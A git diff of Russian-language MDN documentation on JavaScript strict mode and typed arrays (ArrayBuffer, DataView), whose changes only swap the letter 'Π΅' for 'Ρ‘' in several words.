-<p>Π’ нСстрогом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ значСния Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>arguments</code> измСняло ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π­Ρ‚ΠΎ услоТняло ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΊΠΎΠ΄Π° для Π΄Π²ΠΈΠΆΠΊΠΎΠ² JavaScript ΠΈ сам ΠΊΠΎΠ΄ становился ΠΌΠ΅Π½Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ понятным. Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>arguments</code> создаСтся ΠΈ инициализируСтся с Ρ‚Π΅ΠΌΠΈ ΠΆΠ΅ значСниями, Ρ‡Ρ‚ΠΎ ΠΈ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Π½ΠΎ измСнСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° arguments ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°.</p>
+<p>Π’ нСстрогом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ значСния Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>arguments</code> измСняло ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π­Ρ‚ΠΎ услоТняло ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΊΠΎΠ΄Π° для Π΄Π²ΠΈΠΆΠΊΠΎΠ² JavaScript ΠΈ сам ΠΊΠΎΠ΄ становился ΠΌΠ΅Π½Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ понятным. Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>arguments</code> создаётся ΠΈ инициализируСтся с Ρ‚Π΅ΠΌΠΈ ΠΆΠ΅ значСниями, Ρ‡Ρ‚ΠΎ ΠΈ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Π½ΠΎ измСнСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° arguments ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°.</p>
<h4 id="ИзмСнСния_в_eval">ИзмСнСния в <code>eval</code></h4>
-<p>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ eval Π½Π΅ создаСт Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² Ρ‚ΠΎΠΉ области видимости, Π³Π΄Π΅ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½. Π’Π°ΠΊΠΆΠ΅, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅, строка выполняСтся с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ строгого Ρ€Π΅ΠΆΠΈΠΌΠ°. ΠŸΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ΡΡ провСсти Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ тСстированиС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ сломалось. НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ eval, Ссли ΠΎΠ½ Π²Π°ΠΌ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅ Π½ΡƒΠΆΠ΅Π½, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€Π°Π³ΠΌΠ°Ρ‚ΠΈΡ‡Π½Ρ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ.</p>
+<p>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ eval Π½Π΅ создаёт Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² Ρ‚ΠΎΠΉ области видимости, Π³Π΄Π΅ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½. Π’Π°ΠΊΠΆΠ΅, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅, строка выполняСтся с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ строгого Ρ€Π΅ΠΆΠΈΠΌΠ°. ΠŸΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ΡΡ провСсти Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ тСстированиС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ сломалось. НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ eval, Ссли ΠΎΠ½ Π²Π°ΠΌ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅ Π½ΡƒΠΆΠ΅Π½, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€Π°Π³ΠΌΠ°Ρ‚ΠΈΡ‡Π½Ρ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ.</p>
<h2 id="Π‘Ρ‚Ρ€ΠΎΠ³ΠΎ-Π½Π΅ΠΉΡ‚Ρ€Π°Π»ΡŒΠ½Ρ‹ΠΉ_ΠΊΠΎΠ΄">Π‘Ρ‚Ρ€ΠΎΠ³ΠΎ-Π½Π΅ΠΉΡ‚Ρ€Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄</h2>
diff --git a/files/ru/web/javascript/typed_arrays/index.html b/files/ru/web/javascript/typed_arrays/index.html
index d55e398573..82b7830b90 100644
--- a/files/ru/web/javascript/typed_arrays/index.html
+++ b/files/ru/web/javascript/typed_arrays/index.html
@@ -5,23 +5,23 @@ translation_of: Web/JavaScript/Typed_arrays
---
<div>{{JsSidebar("Advanced")}}</div>
-<p>Π’ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ массивы Π² JavaScript ΡΠ²Π»ΡΡŽΡ‚ΡΡ массива-ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ доступа ΠΊ сырым Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ. Как Π²Ρ‹ ΡƒΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π½Π°Ρ‚ΡŒ, массив {{jsxref("Array")}} растСт ΠΈ обрСзаСтся динамичСски, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ элСмСнты любого Ρ‚ΠΈΠΏΠ°Β JavaScript. Благодаря оптимизациям JavaScript Π΄Π²ΠΈΠΆΠΊΠΎΠ², массивы ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ быстрыми. Однако, со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ, Π²Π΅Π±-прилоТСния становятся всС Π±ΠΎΠ»Π΅Π΅ ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΌΠΎΡ‰Π½Ρ‹ΠΌΠΈ, появляСтся Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π°ΡƒΠ΄ΠΈΠΎ- ΠΈ Π²ΠΈΠ΄Π΅ΠΎ-Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, трСбуСтся доступ ΠΊ сырым Π΄Π°Π½Π½Ρ‹ΠΌΒ WebSocket, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Бтановится ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ быстрой ΠΈ эффСктивной Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π²Β JavaScript Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ, для Ρ‡Π΅Π³ΠΎ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ массивы и ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹.</p>
+<p>Π’ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ массивы Π² JavaScript ΡΠ²Π»ΡΡŽΡ‚ΡΡ массива-ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ доступа ΠΊ сырым Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ. Как Π²Ρ‹ ΡƒΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π½Π°Ρ‚ΡŒ, массив {{jsxref("Array")}} растёт ΠΈ обрСзаСтся динамичСски, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ элСмСнты любого Ρ‚ΠΈΠΏΠ°Β JavaScript. Благодаря оптимизациям JavaScript Π΄Π²ΠΈΠΆΠΊΠΎΠ², массивы ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ быстрыми. Однако, со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ, Π²Π΅Π±-прилоТСния становятся всС Π±ΠΎΠ»Π΅Π΅ ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΌΠΎΡ‰Π½Ρ‹ΠΌΠΈ, появляСтся Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π°ΡƒΠ΄ΠΈΠΎ- ΠΈ Π²ΠΈΠ΄Π΅ΠΎ-Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, трСбуСтся доступ ΠΊ сырым Π΄Π°Π½Π½Ρ‹ΠΌΒ WebSocket, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Бтановится ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ быстрой ΠΈ эффСктивной Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π²Β JavaScript Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ, для Ρ‡Π΅Π³ΠΎ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ массивы и ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹.</p>
-<p>НС слСдуСт ΠΏΡƒΡ‚Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ массивы с ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌΠΈ массивами: Ρ‚Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹Π·ΠΎΠ²Β {{jsxref("Array.isArray()")}} для Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ массива Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>false</code>. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅ всС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, доступныС для обычных массивов ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡΒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ массивами (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, push ΠΈ pop).</p>
+<p>НС слСдуСт ΠΏΡƒΡ‚Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ массивы с ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌΠΈ массивами: Ρ‚Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹Π·ΠΎΠ²Β {{jsxref("Array.isArray()")}} для Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ массива Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>false</code>. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅ всС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, доступныС для обычных массивов ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡΒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ массивами (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, push ΠΈ pop).</p>
<h2 id="Π‘ΡƒΡ„Π΅Ρ€Ρ‹_ΠΈ_прСдставлСния_Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π°_Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ…_массивов">Π‘ΡƒΡ„Π΅Ρ€Ρ‹ ΠΈ прСдставлСния: Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π° Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… массивов</h2>
-<p>Для достиТСния максимальной гибкости ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, рСализация Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… массивов Π² JavaScript Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° Π½Π°Β <strong>Π±ΡƒΡ„Π΅Ρ€Ρ‹</strong>Β ΠΈΒ <strong>прСдставлСния</strong>. Π‘ΡƒΡ„Π΅Ρ€ (<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β ArrayBufferΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Он прСдставляСт собой ссылку Π½Π° ΠΏΠΎΡ‚ΠΎΠΊ "сырых" Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ возмоТности Π½Π΅ Π΄Π°Π΅Ρ‚. ВмСсто этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив или ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β DataView, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π΄Π»Ρ чтСния ΠΈ записи Π΄Π°Π½Π½Ρ‹Ρ… Π²Β ArrayBuffer.'><code>ArrayBuffer</code></a>) –– это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΈΠ· сСбя Π½Π°Π±ΠΎΡ€ Π΄Π°Π½Π½Ρ‹Ρ…. Он Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ΠΈ нС прСдоставляСт возмоТности доступа ΠΊ своСму содСрТимому. Для доступа ΠΊ памяти Π±ΡƒΡ„Π΅Ρ€Π°Β Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ прСдставлСниС. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ прСдоставляСт контСкст: Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π² Π±ΡƒΡ„Π΅Ρ€Π΅ ΠΈ количСство элСмСнтов. Π­Ρ‚ΠΎ позволяСт ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π²ΠΈΠ΄Π΅ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ массива.</p>
+<p>Для достиТСния максимальной гибкости ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, рСализация Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… массивов Π² JavaScript Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° Π½Π°Β <strong>Π±ΡƒΡ„Π΅Ρ€Ρ‹</strong>Β ΠΈΒ <strong>прСдставлСния</strong>. Π‘ΡƒΡ„Π΅Ρ€ (<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β ArrayBufferΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Он прСдставляСт собой ссылку Π½Π° ΠΏΠΎΡ‚ΠΎΠΊ "сырых" Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ возмоТности Π½Π΅ Π΄Π°Ρ‘Ρ‚. ВмСсто этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив или ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β DataView, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π΄Π»Ρ чтСния ΠΈ записи Π΄Π°Π½Π½Ρ‹Ρ… Π²Β ArrayBuffer.'><code>ArrayBuffer</code></a>) –– это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΈΠ· сСбя Π½Π°Π±ΠΎΡ€ Π΄Π°Π½Π½Ρ‹Ρ…. Он Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ΠΈ нС прСдоставляСт возмоТности доступа ΠΊ своСму содСрТимому. Для доступа ΠΊ памяти Π±ΡƒΡ„Π΅Ρ€Π°Β Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ прСдставлСниС. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ прСдоставляСт контСкст: Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π² Π±ΡƒΡ„Π΅Ρ€Π΅ ΠΈ количСство элСмСнтов. Π­Ρ‚ΠΎ позволяСт ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π²ΠΈΠ΄Π΅ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ массива.</p>
<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
<h3 id="ArrayBuffer">ArrayBuffer</h3>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β ArrayBufferΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Он прСдставляСт собой ссылку Π½Π° ΠΏΠΎΡ‚ΠΎΠΊ "сырых" Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ возмоТности Π½Π΅ Π΄Π°Π΅Ρ‚. ВмСсто этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив или ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β DataView, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π΄Π»Ρ чтСния ΠΈ записи Π΄Π°Π½Π½Ρ‹Ρ… Π²Β ArrayBuffer.'><code>ArrayBuffer</code></a> –– это Π½Π°Π±ΠΎΡ€ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… с фиксированной Π΄Π»ΠΈΠ½Π½ΠΎΠΉ. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТимым <code>ArrayBuffer</code>Β Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ. ВмСсто этого, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ прСдставлСниС <a href="/ru/docs/Web/JavaScript/Reference/DataView" title="ДокумСнтация ΠΎΠ± этом Π΅Ρ‰Ρ‘ Π½Π΅ написана; поТалуйста, поспособствуйтС Π΅Ρ‘ написанию!"><code>DataView</code></a>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π±ΡƒΡ„Π΅Ρ€ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΈ даст доступ Π½Π° запись ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Π΅Π³ΠΎ содСрТимого.</p>
